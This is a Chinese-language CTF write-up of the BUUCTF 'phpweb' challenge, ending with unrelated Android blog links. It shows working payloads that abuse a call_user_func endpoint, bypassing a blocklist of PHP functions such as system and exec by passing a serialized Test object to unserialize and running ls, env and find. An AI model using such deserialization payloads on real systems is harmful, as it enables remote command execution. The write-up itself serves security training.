BUUCTF_[网鼎杯 2020 朱雀组]phpweb(反序列化绕过命令)

打开靶场,,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用

查看页面源代码,没有什么有用的信息

Burp抓包一下

调用了date()函数并回显在页面上,参数func是函数名,p是参数值

func=date&p=Y-m-d+h%3Ai%3As+a

  • func=date :指定要调用的函数为 date 函数。date 是 PHP 中用于格式化本地日期和时间的内置函数。
  • p=Y-m-d+h%3Ai%3As+ap 是传递给 date 函数的参数,经过 URL 解码后为 Y-m-d h:i:s a,这是 date 函数使用的日期和时间格式字符串,具体含义如下:
    • Y:表示四位数的年份,例如 2025。
    • m:表示两位数的月份,范围从 01 到 12。
    • d:表示两位数的日期,范围从 01 到 31。
    • h:表示 12 小时制的小时数,范围从 01 到 12。
    • i:表示分钟数,范围从 00 到 59。
    • s:表示秒数,范围从 00 到 59。
    • a:表示上午或下午,值为 ampm

date()函数是不会自动输出结果的 ,既然显示了时间那么应该有echo 之类输出的操作,可以随便尝试php的函数根据输出的内容来验证是否有命令执行

1.查看是否回显

抓包修改参数,用简单的小写转换函数来验证是否有命令执行,回显为ab

func=strtolower&p=AB

  • func=strtolower :明确要调用的函数为 strtolower。在 PHP 里,strtolower 函数的作用是将字符串中的所有大写字母转换为小写字母。
  • p=AB :这是传递给 strtolower 函数的参数,也就是要进行转换操作的字符串

2.查看根目录,被过滤

用system()函数执行命令

func=system&p=ls

提示 Hacker... 被禁止了

把ls 改为123 还是hacker 参数不影响,说明应该是system函数被过滤了

3.查看文件内容

想办法查看文件的源码,可以用查看或者读取文件的函数 例如:file_get_contents() highlight_file() show_source()都可以,输入

func=file_get_contents&p=index.php

成功读取了index.php文件源码

php代码审计

复制代码
 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
1. 禁用函数列表
复制代码
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

定义了一个包含众多危险函数的数组 $disable_fun。这些函数可能被用于执行系统命令、读取文件内容、修改文件等操作,为防止恶意调用,将它们列入禁用名单。

2. gettime 函数
复制代码
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a = gettype($result);
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}

该函数接收两个参数 $func$p,使用 call_user_func 动态调用 $func 函数并传入参数 $p。之后检查返回结果的类型,若为字符串则返回结果,否则返回空字符串。

3. Test
复制代码
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

定义了 Test 类,包含两个属性 $p$func,分别初始化为日期格式字符串和 date 函数名。__destruct 是析构函数,当对象销毁时会调用 gettime 函数输出当前日期和时间。

4. 主逻辑
复制代码
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func, $disable_fun)) {
        echo gettime($func, $p);
    } else {
        die("Hacker...");
    }
}

从 HTTP 请求中获取 funcp 参数,将 func 转换为小写。若 func 不为空,检查其是否在禁用函数列表中。若不在,则调用 gettime 函数执行该函数并输出结果;若在,则终止脚本并输出 "Hacker..."

4.在funcp 参数内查看根目录

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

  • func=unserialize :指定要调用的函数为 unserializeunserialize 用于将序列化后的字符串反序列化为 PHP 对象或数组。
  • p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";} :这是传递给 unserialize 函数的参数,是一个序列化后的字符串。具体解析如下:
    • O:4:"Test":表示这是一个类名为 Test 的对象,类名长度为 4。
    • 2:表示该对象有 2 个属性。
    • s:1:"p";s:4:"ls /";:表示属性 p 的值为字符串 "ls /",这是一个 Linux 系统命令,用于列出根目录下的所有文件和文件夹。
    • s:4:"func";s:6:"system";:表示属性 func 的值为字符串 "system"system 是 PHP 中用于执行系统命令的危险函数。

回显了根目录下的文件,但是没有发现flag文件

5.查看一下环境变量env

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:3:"env";s:4:"func";s:6:"system";}

发现not_flag 那么flag应该是藏在某个目录下

6.使用find命令查找flag

构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system"

发现 /tmp/flagoefiu4r93,相较于其他路径较长的文件 和 系统proc目录下的文件 更加可疑

7.查看该文件,得到flag

func=readfile&p=/tmp/flagoefiu4r93

参考链接:[网鼎杯 2020 朱雀组]phpweb 详细题解(反序列化绕过命令执行)

相关推荐
每次的天空10 分钟前
Android-自定义View的实战学习总结
android·学习·kotlin·音视频
恋猫de小郭37 分钟前
Flutter Widget Preview 功能已合并到 master,提前在体验毛坯的预览支持
android·flutter·ios
断剑重铸之日2 小时前
Android自定义相机开发(类似OCR扫描相机)
android
随心最为安2 小时前
Android Library Maven 发布完整流程指南
android
岁月玲珑2 小时前
【使用Android Studio调试手机app时候手机老掉线问题】
android·ide·android studio
还鮟6 小时前
CTF Web的数组巧用
android
小蜜蜂嗡嗡7 小时前
Android Studio flutter项目运行、打包时间太长
android·flutter·android studio
aqi007 小时前
FFmpeg开发笔记(七十一)使用国产的QPlayer2实现双播放器观看视频
android·ffmpeg·音视频·流媒体
zhangphil9 小时前
Android理解onTrimMemory中ComponentCallbacks2的内存警戒水位线值
android
你过来啊你9 小时前
Android View的绘制原理详解
android